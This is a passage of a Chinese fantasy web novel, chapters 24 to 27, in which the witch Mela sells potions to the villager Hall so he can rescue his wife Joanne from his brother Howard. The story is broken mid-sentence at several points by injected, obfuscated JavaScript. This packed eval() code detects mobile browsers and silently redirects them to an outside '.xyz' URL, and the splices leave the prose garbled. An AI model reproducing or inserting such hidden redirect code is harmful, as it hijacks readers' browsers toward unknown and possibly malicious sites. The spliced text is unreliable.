反正家里的鸡鸭鹅都留有足够的食物,应该不至于他晚回去一天就被饿死了。 “如果我说,我想去黑暗森林呢?”梅拉的声音悠悠地从霍尔的身后飘来。 多尼克还在往前走着,车轮骨碌碌地碾过泥地,留下两道深深的车辙,拉着套在多尼克身上的绳子的霍尔,身体却陡然一僵。 他刚刚没有听错吧?她说要去哪?黑暗森林?那个恐怖且危机四伏的黑暗森林? * 霍尔最后还是答应了下来。 哪怕他已经隐隐猜到了梅拉的身份或许并不像他想象的那样简单。 她应该是女巫吧。霍尔想。 可他并没有从她身上感受到危险的气息,她也不像传说中一样要把他抓起来折磨的样子。 等等,或许她是打算等到黑暗森林再动手呢? 霍尔畏惧地咽了咽口水,又不敢发出太大的动静,生怕让梅拉觉察异样。 其实霍尔完全可以想个借口拒绝梅拉。 然而一想到这里距离黑暗森林至少还有五公里远,如果没有他的帮助,梅拉就得靠两条腿硬生生走五公里,怕是鞋底都得直接磨穿。 霍尔无法控制地心软了。 说不定情况没有那么坏,梅拉并不是女巫呢?又或许她是个难得一见的好女巫。 霍尔想方设法地自我安慰到。 接下来碰到岔路口的时候,霍尔一拉手中的绳子,促使多尼克调转方向,朝通往黑暗森林的那条道路走去。 “在天亮之前,我们应该就能到黑暗森林附近,到时候……”霍尔想说到时候我们就分道扬镳吧。 真让他进入黑暗森林,他是绝对不敢的。 但没等他想好如何委婉地与梅拉商量他们分开这件事,梅拉却主动接上了他的话:“到时候我们就分开吧。” 梅拉倒也不是非要为难霍尔。 能碰到霍尔,并且霍尔愿意把她送到黑暗森林附近,已经属于是意外之喜了。 “那可真是太好了……”霍尔太过高兴,一不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782052|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小心就把心里话都秃噜了出来。 好在他小心翼翼地扭头,试图查看梅拉的脸色时,发现她正在给怀里的乌鸦梳理羽毛,像是没听到他刚才说的话似的。 注意到霍尔的视线,梅拉抬头,朝他露出一个不解的微笑。 “没什么,我只是想给多尼克拿根胡萝卜。”霍尔此地无银三百两地替自己解释了一句。 幸好他的兜里真的还藏着半根胡萝卜,正好现在拿出来喂给多尼克。 也是辛苦它带着他木板车奔波了整整一天一夜。 离黑暗森林还有五六米的时候,多尼克的蹄子停了下来。 看着不远处阴郁压抑的森林,霍尔喏喏地道:“黑暗森林到了。” “谢谢。”梅拉抱着塞拉斯,从木板车上跳下来,再一次与霍尔道谢。 “不、不用了,祝您好运。”霍尔紧张到没发现自己对梅拉用了敬称,马不停蹄地赶着多尼克调转方向,往回走去。 梅拉看着霍尔离去的背影,轻轻地念了一串咒语,如果以后霍尔遇到麻烦想找她帮忙的话,这个咒语就能带着他来见她。 虽然当时的霍尔完全没想过,他还会有来找女巫帮忙的那一天。 * 霍尔喘着粗气,把自己离开黑暗森林后的事情简单地交代了一下。 当时他正推着木板车打算回家,结果在路上遇到了村子里的一个小姑娘明妮。 “明妮,你怎么往这么危险的地方跑?”霍尔难得朝人板起脸,他的身后就是黑暗森林,虽然他有了女巫的允许后,可以毫发无损地进去又出来,可明妮跟他不一样。 如果她就这么带着好奇心冒冒失失地闯进去,说不定会碰到危险。 “霍尔叔叔,我都知道的,你每个月都要往这里跑一趟。”明妮却道。 霍尔的脸色变了一下,像是让明妮的话打了个措手不及。 但他这么多年顶着压力来与梅拉进行交易,胆量早就练了出来,至少暂时还能稳住脸上的表情,骗过明妮这样的小孩子。 “哎,霍尔叔叔也不瞒你,这黑暗森林外围有很多好东西,柴火、菌子……都是宝贝。但这是大人才能来的地方,你懂吗?小孩子如果轻易靠近这里,会被野兽叼走吃掉的。” “这些都无关紧要,霍尔叔叔,我是特地来找你的。”明妮的脸上流露出不加掩饰的着急。 “发生了什么事?你说出来,霍尔叔叔一定会帮你的。”霍尔蹲下来,想摸摸明妮扎了两根辫子的脑袋。 明妮却紧紧地握住他的手臂,“霍尔叔叔,乔安妮婶婶被霍华德大叔带走了,我听到了,他想把乔安妮婶婶带去见领主大人。” “他说,乔安妮婶婶的脸早就毁了,如今能变成这么漂亮的样子,一定是与女巫做了交易。” “他要大义灭亲,揭发乔安妮婶婶。” 听了明妮这一番话,霍尔的手顿时从明妮的脑袋上失力滑落,他的眼睛瞪得巨大,仿佛不敢置信自己的亲哥哥竟然会这么做。 什么大义灭亲,霍华德那家伙一定是馋领主的赏金了。如果能确定乔安妮与女巫有关系,作为揭发她的人,霍华德能拿到整整二十枚金币的赏金。 “不,不,我是不会让他这么做的。”霍尔丢下木板车,拔腿就想往家里跑。 明妮却死死地拖住他的手,阻止了他,“霍尔叔叔,你如果就这么回去,待会霍华德大叔把你一起交给领主大人怎么办?你可是乔安妮婶婶的丈夫,她与女巫交易这事你也是知情人,知情不报会被领主大人派人把你活活打死的。” 对,对,明妮说的没错,霍尔愤怒的脑袋冷静了一些,接着他头也不回地往黑暗森林里冲。 他要去找梅拉,他想,梅拉一定会有办法的。 只不过,他不知道梅拉的小木屋具体在什么位置,梅拉也说对他这样的老好人来说,知道得太多不是什么好事,所以一直只让他在树下交易。 因此直到月亮高高挂在天幕上,一身狼狈的霍尔才终于敲响了小木屋的门。 好在有梅拉的咒语在,霍尔一路找来都没被什么野兽盯上,只不过他心里着急,跑起来不管不顾的,跌撞了好几次。 沾了一身的泥和草叶。 “所以,有什么办法能帮帮我吗?”霍尔一脸期盼地看向梅拉,他深知与梅拉做交易的方法,立刻补充了一句,“不管需要多少钱,就算是我的全部身家,我也愿意支付。” 闻言,梅拉的唇角噙上了一抹笑意,“办法么?当然是有的,就看你想要怎么做了。” 看在霍尔是老顾客的份上,梅拉贴心地给出了好几个选择,任他挑选。 25. 第 25 章 “这是一瓶隐形药剂。” 梅拉走到靠墙的橱柜前,伸手,拿下一个圆形的玻璃瓶,随着她的动作,碧绿色的液体在瓶子里泛起一阵轻微的涟漪。 “只要喝下半瓶药水,在接下来的三个小时内,不管是谁都没有办法看见你。这样你就能偷偷地找到乔安妮,让她喝掉剩下的半瓶药水后跟着你一起离开了。” “这是一瓶大力药剂。” 梅拉再度转身,拿出一个菱形的玻璃瓶,里头盛着深蓝色的液体,在煤油灯的灯光下,折射出了诡异的绮丽光彩。 “以你常年干活锻炼出来的力量,喝下它之后,我敢保证,你甚至能直接赤手空拳打死一头熊。” “到时候别说是光明正大地把乔安妮抢回来了,还能把你那个黑心的兄弟狠狠地揍一顿解气,如何?” “这……”霍尔有些犹豫,一时半会儿他还真选不出买哪一瓶更好。 隐形药剂当然很不错,可以避免与霍华德直接发生冲突,悄无声息地救走乔安妮。 可霍尔私心里对霍华德不是没有怨气的,任谁突然闯进自己家,还把自己的妻子掳走了,也不可能没有半点脾气。 就算是亲兄弟也不行。 不如说,正因为是亲兄弟,才让一贯好脾气的霍尔更加怒不可遏。 见状,莱克斯开口了,“我想,这两种药剂并不适合眼下的情况。” 梅拉挑眉,示意莱克斯解释一下原因。 “如果不能把罪魁祸首彻底解决了,就算你暂时把乔安妮救了出来,难保她不会再被掳走第二次。”莱克斯看向霍尔。 而霍尔就算把霍华德狠狠地揍一顿,暂时让他求饶,放过乔安妮又如何,说不定霍华德还会因此怀恨在心,下一次干脆连霍尔都不放过。 霍尔的亲兄弟,他应该最清楚那是个什么德行的人才对。 “莱克斯说的没错,霍华德还真有可能这么干。” 霍尔回想起那些年,霍华德仗着自己是大哥,欺负了他不知道多少次。一旦他有什么东西被霍华德看上了,霍华德就算抢不过来,也要费尽心思把东西弄坏。 而霍尔尽管委屈,也拿霍华德没办法,谁让根据王国的继承法,霍华德才是这个家里将来的继承人呢,而霍尔作为小儿子,只能分到父母的一部分财产,之后还得带着这点财产出去另立门户。 对于未来要接手家里的房子与土地的大儿子,霍尔与霍华德的父母难免从心底就偏向霍华德。 而在父母的纵容下,霍华德渐渐从一个小坏胚长成了一个大坏胚。 要不是霍华德后来娶了一个商人的女儿,搬到了镇上去住,几乎和霍尔断联,说不定这些年要闹出多少风波。 想到这,霍尔越发担心起了乔安妮的处境。 “如果是这样的话,我这里还有一瓶昏迷药剂。你把它给霍华德全灌下去,保管他这辈子都醒不过来。” 梅拉一阵翻翻找找,找出了指节长的一小瓶粉色药剂。 别看这一小瓶药剂的分量还不够前头那两瓶的五分之一,但药效可比那两瓶猛多了。 “……有没有既能教训到霍华德,让他不敢再对乔安妮动手,又不至于让他受到如此严重伤害的药剂?” 沉默片刻,霍尔艰难地道。 他虽然对霍华德的做法十分愤怒,恨不得鼻青脸肿地把他揍一顿,但真让他看着霍华德喝下药剂后一辈子都醒不过来,他又难免于心不忍,这和直接杀了霍华德有什么区别。 不管那是不是他的亲兄弟,哪怕今天对乔安妮动手的是一个陌生人,霍尔也没办法狠得下心来。 梅拉听了霍尔的话,像是一点也不意外,唉,她早就知道霍尔是个心软又善良的老好人了。 而好人和坏人的区别就在于,让好人做一件坏事,比要他的命还难,还没动手呢,潮水般涌来的愧疚就先把他给压垮了。 “不过,你说的这种药剂我没有,女巫做出来的东西,哪有全然无害的呢?从我手中拿出来的药剂,危险程度只有轻微、严重、和极度严重。”梅拉托着腮,意兴阑珊地道。 即使是前面梅拉提到的那两种药剂,也是存在一点小小的副作用的。 比如喝了隐形药剂之后,接下来的一周内,霍尔在其他人眼中的存在感就会降低,有可能他当面走过去,都能直接被忽视。 再比如霍尔喝了大力药剂之后,等到药效一过,他就会全身都提不起劲,只能像根软面条一样瘫在床上,直到副作用自己消失。 “这么严重?”霍尔瞪大了眼睛。 “我又不是神明,能毫无代价就实现一场奇迹。想要发挥出这些神奇的药效,当然需要付出一点代价啰。”梅拉振振有词地答到。 这难道不是很公平吗?毕竟世界上哪有什么不劳而获的好事呢? “那、那你给我的那些变形药剂的副作用是什么?”霍尔问道,语气十分急切。 他当初只顾着向梅拉买下药剂,压根没想到还有副作用这回事。 更何况,他亲眼看着乔安妮喝了这么多年的变形药剂,似乎,没出现什么问题啊? 梅拉歪了歪头,眼里浮动着波光粼粼的笑意,“这个你放心,变形药剂的副作用非常小,只不过是看着镜子里的那张陌生的脸越来越久,便再也无法记起自己真正的模样而已。” 不过既然都已经用上了变形药剂,还一连喝了这么久,大概本人也并不希望变回原来的样子了吧? “原来是这样。还好,还好。”霍尔长长的舒了一口气,显然也觉得这个副作用还在能接受的范围内。 “不过你确定还有时间和我继续纠结这个吗?现在距离太阳升起来可没剩多久了,等天一亮,说不定你的亲大哥就会带着乔安妮前去觐见领主。到时候你再想把她救出来,可就要多费不少功夫了。” 梅拉把话题引回正轨,催 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787925|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 促霍尔赶紧做决定。 这时,莱克斯又开口了,他劝霍尔既然不愿意买昏迷药剂,倒不如把隐形药剂和大力药剂都买了,然后先去和霍华德见面,尝试从他的嘴里套话,看看他是为什么突然想要靠乔安妮从领主手里领到赏金。 毕竟按照霍尔之前说的,霍华德娶了一个商人的女儿,还搬到了镇上,那他的生活应该过得很不错才对。 如非经济上出现了什么严重的问题,他有什么必要忽然回村子里找霍尔这个断联许久的弟弟呢? 而买下大力药剂和隐形药剂,也是为了以防万一,若是霍尔和霍华德谈到一半谈崩了,喝下药剂的霍尔还能保证把人打晕,再悄悄带着乔安妮逃回小木屋找梅拉。 霍尔一听,觉得莱克斯说的很对,同梅拉立下欠条,揣着两瓶药剂就匆匆离开了。 他要赶在天亮之前到镇上拦住霍华德才行。 等霍尔走后,本应该睡觉,却熬夜到现在的梅拉随着上涌的困意,懒洋洋地打了个哈欠,眼角甚至滑出了一点湿意。 她看向一旁低着头,不知道在想些什么的莱克斯,“我总觉得你刚才对霍尔说的那番话别有目的。” 看起来莱克斯是在为霍尔出谋划策,可话又说回来,他和霍尔的交情也就比陌生人强那么一点点,哪里值得他如此贴心,连后路都给霍尔想好了。 “至少有一点,是为了把两瓶药剂推销出去,这样算起来,我头上的债务是不是能少一点了?” 莱克斯抬眸,唇角微勾,没有否认梅拉指控他别有目的,但具体是为了什么,他却又守口如瓶起来。 反正梅拉也不是真心想知道他的目的。 但是对于莱克斯说的用推销药剂作为抵消债务的方式,梅拉给予了肯定,“那就两瓶药剂各拿出十分之一,算你还了我六枚银币好了。” 她刚才一下子还真没转过弯来,只想着让霍尔二选一,没想到还能让他干脆把两瓶药剂都买下来。 一定是没睡好觉才导致她精神不振。 梅拉忍不住又打了个哈欠。 “对了,如果每一种药剂都有其相对应发副作用的话,那治愈药剂呢?”莱克斯忽然发问。 “唔,”此时梅拉已经躺回了摇椅上,把毯子卷吧卷吧盖好了,听到莱克斯的问题,她含糊不清地答到,“只要不是长期服用,其实也没什么太大的副作用,毕竟这是拿来救命的药剂。只不过谁如果喝多了的话,大概会提前透支剩下的生命力,早早地衰老而死吧。” “就像一朵花,早早地盛开了,当然也会早早地凋零。” 说完,不等莱克斯再问点别的,梅拉便彻底闭上眼睛,睡了过去。 只不过睡梦中,梅拉模模糊糊还升起了一个念头,那就是期待明天霍尔带着乔安妮来到小木屋,再好好说说他见到霍华德之后的事。 总觉得能让莱克斯这么上心的事,里头一定有许多值得挖掘的秘密。 26. 第 26 章 一整天下来,梅拉都因为记挂着霍尔的事而显得有些心不在焉,连好端端地走着路,都差点自己把自己给绊了个跟头。 好在当时莱克斯就在身边,眼疾手快地伸手拽住了她的胳膊,扶了她一把。 “没事吧?”莱克斯关切地问。 “没事。”梅拉好不容易重新站定。 下一秒,她却像是终于意识到了什么,忽然右手握拳,敲在了左手的掌心上,“不对,我得为霍尔占卜一下,看看他到底能不能成功救出乔安妮。” “按理来说,既然他已经拿着你的药剂走了,总不至于对付不了霍华德一个普通人吧。”莱克斯觉得不应该。 就算实在出现了别的意外,譬如霍华德还纠结了其他的帮手,人多势众,霍尔双拳难敌四手,但只要他喝下了隐形药剂,想要轻松带走乔安妮应该也不难。 “你不懂,我今天这么不顺利,一定是某种预兆正在提醒我呢。”梅拉神秘兮兮地道,“女巫在感应这方面可是很灵敏的。” 想当初差点在白松镇出事前,梅拉就频频经历类似的事情,不是不小心撞倒了什么瓶瓶罐罐,就是失神间打碎了碗碟。 连塞拉斯看了都难得硬气一回,吩咐梅拉小心些,多看着点路,别一会儿没注意又乒乒乓乓的闹出大动静来。 等到离开白松镇,在黑暗森林住下来,梅拉才后知后觉地意识到,原来先前那些看似是她不小心才造成的失误,其实是在不断提醒她:小心!有不好的事情要发生了! 当然了,也不是每个女巫的感知都这么强,至少某些学艺不精的小女巫是没法做到像梅拉这样的。 说到底,还是梅拉天赋异禀。 梅拉踮起脚,从橱柜的最上层摸到了她的水晶球。 只不过将水晶球拿下来的时候,差点连木头制成的底座也被她一起带了下来。吓得梅拉头一偏,赶紧躲开了。 这玩意儿要是结结实实地砸到脸上,疼不说,百分百会留下一道难看的红印。 原本对梅拉的说辞将信将疑的莱克斯:“……” 这下他是彻底相信梅拉说的预兆有点道理了。 因为他从没见梅拉这么倒霉过。 “幸好,看来那个倒霉蛋是霍尔无疑,我只不过是被他牵连的。”见状,梅拉原本还吊着的一颗心反倒放松了下来。 如果她也要跟着倒大霉,这块木头底座绝不可能如此轻易的就被她躲过去,即使砸不到脸上,少说也要砸到脚上,让她打起精神注意未来。 “不过么,从这个倒霉程度来看,霍尔就算成功带走了乔安妮,他们逃出来的路上大概也要碰到不少的挫折。”梅拉若有所思地道。 “等一下,我的水晶球上怎么沾了这么多的灰?” 梅拉忽然发觉手上的触感不对劲,低头一看,没想到水晶球上竟然裹了不算薄的一层灰。 本来水晶球在没有触发作用的时候,看起来便是一颗平平无奇的玻璃球,里头还缠绕着脏兮兮的灰絮,以至于上头掉了层灰都并不显眼。 但是现在发现自己摸了一手的灰后,梅拉不由皱着眉头一脸嫌弃。 “莱克斯,你最近是不是忘了点什么?” 看在相处了这几年的份上,梅拉的质问都变得委婉了起来。 换做以前,她只会直接怀疑是莱克斯偷懒了。 虽然梅拉承认,她是有很长一段时间没有用过水晶球了,但每隔一段时间,莱克斯就会拿毛巾将她的水晶球擦拭一遍,怎么看也不应该落这么厚一层灰才对。 然而,梅拉又看了眼手上的灰黑,估计起码有两个月,莱克斯忘记给她擦水晶球了。 不曾想莱克斯的眼神分外无辜,“应该是塞拉斯最近太忙了,不小心把擦水晶球的活给忘了吧?它几个月前还同我说,它飞上去擦水晶球更方便,省得我拿上拿下的,万一将水晶球摔了怎么办。我觉得它说的对,就把这项活计交给它来做了。” “忙?它在忙什么?” 梅拉这才意识到,最近这阵子耳边清净了不少,她还以为是塞拉斯终于学会了消停,没想到原来另有隐情。 “唔,好像是之前塞拉斯出门玩,偶遇了一位年轻漂亮的白鸽小姐……”莱克斯捏着下巴回忆道。 原来是塞拉斯碰到让它一见钟情的小鸟了呀,梅拉不知为何,突然萌发了一种养了那么久的孩子总算会拱白菜回来了的诡异欣慰感。 “但是,乌鸦和白鸽,能有结果吗?”梅拉陷入了短暂的迟疑之中。 不管怎么说,至少从种族上,乌鸦和白鸽就不太相配吧? “嗯……”莱克斯同样开始沉思。 按照他的观点,乌鸦和白鸽之间当然是不可能有结果的,但塞拉斯可不是一只普通的乌鸦,而是一只会口吐人言的乌鸦。 从这一点上看,它无疑属于乌鸦一族的智者了。 也正因如此,塞拉斯才会突破寻常乌鸦的眼光,看上一只年轻貌美的白鸽吧。 “算了,等塞拉斯回来,我再好好地问问它吧。” 梅拉看了眼空荡荡的栖杆,决定到。 刚才让塞拉斯的事情打了个岔,现在梅拉把注意力重新拉回来,她拿来干净的毛巾,将水晶球上的灰擦拭干净,然后用手在上面轻轻一抹: 水晶球内的灰絮顿时在她眼前变化成一阵迷幻的烟雾。 “霍尔·威哈特能成功救出她的妻子乔安妮吗?”梅拉对水晶球提出了第一个问题。 水晶球内的烟雾开始改变,作出问题的解答。 “嗯?可以?但是有很大的危险。” 这和梅拉之前猜测的结果差不多。 “那霍尔·威哈特会在带着乔安妮逃跑的路上失败吗?” 梅拉对水晶球提出了第二个问题,这回她缩小了范围。 水晶球中很快又有了新的变化。 “有很大的几率会失败,也有很小的几率能成功,意思是全凭运气咯?” 梅拉盯着水晶球,了然。 这也就意味着,若是霍尔的运气足够好,完全靠自己可以摆脱困局。 但是霍尔的运气似乎一向是不好也不坏。 这让梅拉一时间有些犹豫,到底要不要出手帮忙,她自觉已经帮得够多了。 别看梅拉曾经对莱克斯说起改变命运时,那叫一个满不在乎,好像只要她伸手轻轻一拨弄,就能让莱克斯的命运走向另一个方向,但真要说起来,能够改变命运,其实是莱克斯本人的决心更重要。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15815694|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 因为莱克斯不相信命运,决心靠自己改变命运,才引动了他的那颗星辰,偏移了既定的轨道。 否则像梅拉这样作为一个旁观者,去插手霍尔的命运,得要付出额外的代价才行。 “好吧,第三个问题,如果霍尔不幸被抓住了,会不会对我产生糟糕的影响?”梅拉对着水晶球问道。 水晶球给出的回答分外肯定,即一旦霍尔被抓,梅拉一定会受到牵连,卷入到一场麻烦之中。 “看来我是非得掺和进来不可了。” 确定了要帮忙,梅拉反倒松了口气。 “你打算怎么帮?”莱克斯旁观完全程,有些好奇。 难道梅拉打算离开黑暗森林,亲自出马? “当然——”梅拉笑眯眯的,故意拖长了尾调,“不是啦。” 虽然说插手别人的命运一定要付出代价,但这个代价是大是小,完全可以由梅拉自己决定。 譬如她如果离开黑暗森林,亲自去给霍尔帮忙,那必然要付出极大的代价,极有可能路上遇到发狂的野兽,或是引来了牧师、领主手下的骑士这类本不该出现的人。 但梅拉若是换一种方法,假如只是在天平上,属于霍尔的这一侧放上一枚分量极轻的砝码,帮助天平向霍尔这端倾斜,那代价便很小了。 大概是吃苹果时吃到一条虫子这样的代价。 ……虽然也有点恶心就是了。 不过没关系,既然决定了要帮忙,梅拉也不是不能忍受这点小小的恶心。 说起来,还多亏了几年前,梅拉曾收集到了不少克丽芙的果实,最终在一次次的实验下,她成功炼制出了指甲盖大小的一小瓶幸运药剂。 幸运药剂,顾名思义,即喝了能让人变得幸运的药水。 虽然幸运向来虚无缥缈,但一点点的幸运,往往就能发挥出巨大的效果。 “既然霍尔逃跑失败是导致我卷入麻烦的起点,那么只要让他别失败不就好了。” 梅拉拔开木塞,一股脑地喝尽了拇指瓶里的深粉色药水。 在梅拉变得幸运的前提下,同样也能影响到霍尔的运气,说不定就能帮他逃过一劫。 “不过这药水可真难喝。”梅拉咂了咂嘴,点评道。 概因以往梅拉的药剂都是出售给别人,从来不曾考虑过好不好喝这一问题,等现在她自己尝了才发现,这味道简直一言难尽。 既不是全然的苦涩,也不是满满的酸楚,其中还掺杂了那么一星半点的辛辣,复杂得梅拉根本不想回味。 ——她现在只想喝杯花草茶压压嘴里的药水味。 “莱克斯,快,给我倒杯花草茶来,记得加满满两大勺的蜂蜜。” “来了。”莱克斯早在梅拉拿出那瓶珍藏了好几年的幸运药剂时,就隐隐有了某种预感,只不过他还没来得及行动,梅拉就闭着眼把药水喝完了。 好在现在他端来茶杯的时机也不算迟。 梅拉接过茶杯,一口气喝了大半杯甜滋滋的茶水,才终于产生了一种类似于劫后余生的庆幸。 “……下次你一定要记得提醒我,在炼制药剂的时候考虑一下口味问题,我会尽量做出好喝的药剂的。” 梅拉放下茶杯,郑重地道。 27. 第 27 章 “呼。” “呼。” 风裹着粗重的呼吸,吹过枝叶,流向远方。 漆黑的夜色中,两道身影互相搀扶着,跌跌撞撞地往前跑去。 坐落在森林深处的小木屋此刻仍然往外透着昏黄的光,屋子里,两人一鸟都十分罕见地醒着。 因此甫一听见敲门声,离门最近的莱克斯迅速反应过来,去开了门。 男人形容狼狈,脸上不仅沾着泥、碎叶,甚至还有细细的黑色小刺,像是来之前在地上滚了一圈,又不幸扎入了灌木丛中。 幸亏他忍耐力十足,竟然能顶着这样一张脸一路走来。 相比之下,被他扶着胳膊的女人虽然面色苍白,神情凄然,却只是鬓边散下了稀稀拉拉的几缕碎发。 见到门后站着的陌生少年,她忙不迭把碎发往耳后拨,尽力端肃表情,仿佛此刻不是随着丈夫仓皇地上门求救,而仅仅是普通的登门拜访。 霍尔的这位妻子,似乎对仪容格外重视。莱克斯若有所思地将这一幕收入眼底。 “进来吧。”莱克斯侧身,给两人让出一条通道。 霍尔向莱克斯投去感激的一眼,便扶着乔安妮进入了小木屋之中。 梅拉原本正靠在书桌边,拿着一根狗尾巴草逗弄塞拉斯。 塞拉斯因为心虚的缘故,爪子抓着栖杆,也不敢躲,只能硬着头皮忍受那毛茸茸的触感一下又一下地挠在自己的喙下。 好在随着霍尔两人进来,梅拉的注意力从它的身上移开,手上的动作也跟着停了下来。 塞拉斯高兴地松了口气,鬼鬼祟祟地把自己往角落里挪。 梅拉没有管它。 她的视线在扫到霍尔那张堪称惨不忍睹的脸时,露出了十分诧异的神色。 如果她不是非常肯定自己炼制的药剂一定不会出错的话,此刻必定要怀疑之前喝下的那瓶幸运药剂到底有没有生效了。 否则怎么会这么惨? 假如这已经是幸运药剂生效后的结果了的话,梅拉忍不住目露同情,那霍尔原本该有多倒霉啊。 让梅拉这么一瞧,霍尔有些不自在起来,下意识想用闲着的那只手去挠脸,结果没防备碰到脸上散落的那些小刺,顿时疼得龇牙咧嘴了好一阵。 “你小心点呀。”乔安妮注意到霍尔的动作,眼底随即涌上心疼。一时间想上手帮他把刺拔了,又担心刺太小,自己容易弄巧成拙。 要是不小心让刺折断在里面,那可就麻烦了。 如果手上有根缝衣针就好了。乔安妮想,这样她就能替霍尔把脸上的刺都挑出来了。 “需要借你们一根缝衣针吗?” 梅拉像是有读心术似的,替乔安妮说出了心中的想法。 “……如果可以的话……”乔安妮踌躇着开口。 这些年霍尔一直与女巫做着交易,按理来说乔安妮应该对梅拉有所了解,不应该像其他人一样害怕她才对,但,这还是乔安妮头一回与梅拉见面。 当年轻貌美的女巫笑吟吟地看着她时,乔安妮下意识心生怯意,就像看着一朵玫瑰,动人的风景下暗藏着刺人的危险。 乔安妮不知道自己该不该伸手,接过女巫的赠予。 “当然没问题。莱克斯———”梅拉拖长了尾调,“帮他们把缝衣针给找出来。” 莱克斯径直走向门边的矮柜,俯身,拉开其中一个抽屉,拿了根闪闪发光的缝衣针出来。 “谢谢。”乔安妮喏喏地和莱克斯道了声谢。 随后她借着头顶的灯光,小心翼翼地捧着霍尔的脸,找准位置,浅浅刺入缝衣针,将那些黑色的细刺一根一根地挑了出来。 “说起来,你们到底是怎么弄成这个样子的?”梅拉好奇地问道。 “我们……” 听到梅拉的问题,霍尔想也不想便张嘴打算回答,只不过刚吐出一个音节,立刻收到了乔安妮瞪过来的眼神,他只好赶紧又把嘴巴闭上,示意自己不说了。 “还是让我来说吧,”乔安妮抿了抿唇,接过话头,“霍尔是为了救我才变成这样的。” 乔安妮本想长话短说,但梅拉制止了她:“别,我有的是时间可以用来听故事,你慢慢说就行。” 好吧,既然是梅拉主动要求的,乔安妮便原原本本地把事情的经过讲了一遍。 整件事说起来,还得回到乔安妮被霍华德带走之前。 昨天,霍尔像往常一样,趁着天色还没完全亮起来,便推着木板车离开了村子,一路上谁也没有惊动。 乔安妮则待在家里,先是去把栅栏打开,让养了好几年的几只大白鹅自己出去觅食。 随后她拿来纺锤,坐在椅子上,将提前处理好的荨麻不断捻成丝线,为接下来的纺织做准备。 一个上午的时间悄然过去。 正当乔安妮感到腰部发酸,忍不住站起来绕着屋子走一走的时候,霍华德忽然从门外闯了进来。 说闯其实也不算对,因为霍华德是大摇大摆地从门外走进来的。 “好久不见,乔安妮。”霍华德假惺惺地同乔安妮问好。 那双与霍尔如出一辙的褐色眼珠滴溜溜地不停打转,只不过越看越是嫌弃。 无他,在见惯了好东西的霍华德眼里,这个家实在太穷了。 既没有柔软的地毯,也没有色彩华丽的挂画,家具更是少得可怜,一台手纺车就占据了大半个角落。 霍华德嫌弃的嘴脸落入乔安妮眼里,本就不欢迎霍华德上门的乔安妮直接抿紧了唇,冷冷地道,“是好久不见了,上回见你还是在葬礼上。” 那是霍尔父母的葬礼。 尽管霍华德已经有八九年没回来见过他的父母兄弟了,而霍尔与霍华德本身的感情也算不上深,但父母的葬礼这种大事,霍尔总不好不通知他。 于是跟乔安妮商量过后,霍尔还是托人捎了个口信到镇上,通知了霍华德举办葬礼的时间和地点。 然而一直到葬礼开始前,霍华德才匆匆赶了回来。 好不容易,等霍尔请来的牧师做完仪式,棺材下葬后,霍华德迫不及待地开口了。 他说,要求霍尔将父母留下的财产与他平分。 “平分遗产?” 前来参加葬礼的亲戚与村民们听到霍华德的话,忍不住小声地议论起来。 感受到那么多人的打量,霍华德浑然没有流露出窘迫的模样,反而昂着下巴,捋着唇边刻意留出的一道小胡子,态度十分的理直气壮。 “按照王国的继承法,我本来就应该拿走三分之二的遗产,如今只分走一半,已经够对得起你这个弟弟了。更何况,我还没要求你把土地的那份钱也算上呢?你就知足吧,霍尔。” 霍华德对霍尔道,仿佛是在施舍。 而霍尔黑着脸,大声地驳斥他,“当初明明是你看不起家里的这点钱,也不愿意和父亲一样继续当个老老实实的农民,娶了一名商人的女儿后就跟着人搬到了镇子上,再也没有回来。父亲没办法,才把土地留给了我来种。” 结果现在霍华德却说,这些东西本来就是属于他的?霍尔必须得为自己继承了父母的钱和土地向他支付代价,简直可笑至极! 乔安妮站在霍尔的身旁,同样为自己的丈夫愤愤不平,但她只能捏紧了粗糙的麻布裙摆,一言不发。 因为霍华德没有说错,这就是王国明文规定的法律。 哪怕霍华德这些年的行径让人不耻,但他作为长子,天然在继承权这一方面拥有着霍尔所没有的优势。 如果霍尔不同意平分遗产,霍华德是能把他告到领主面前的。 而还没有离开的牧师,就是霍华德最好的证人。 想到这,不少亲戚围上来,劝说霍尔答应霍华德的条件,起码这样他还能留下一半,否则真按照继承法来算,他最后就只能拿到三分之一而已了。 没办法,霍尔不得不点头同意了这件事。 乔安妮永远记得那天霍华德带着一大笔钱扬长而去的背影,以及他洋洋得意的眼神。 好在霍华德拿了钱后,大概是觉得这个弟弟没有其它值得他觊觎的地方了,之后再也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 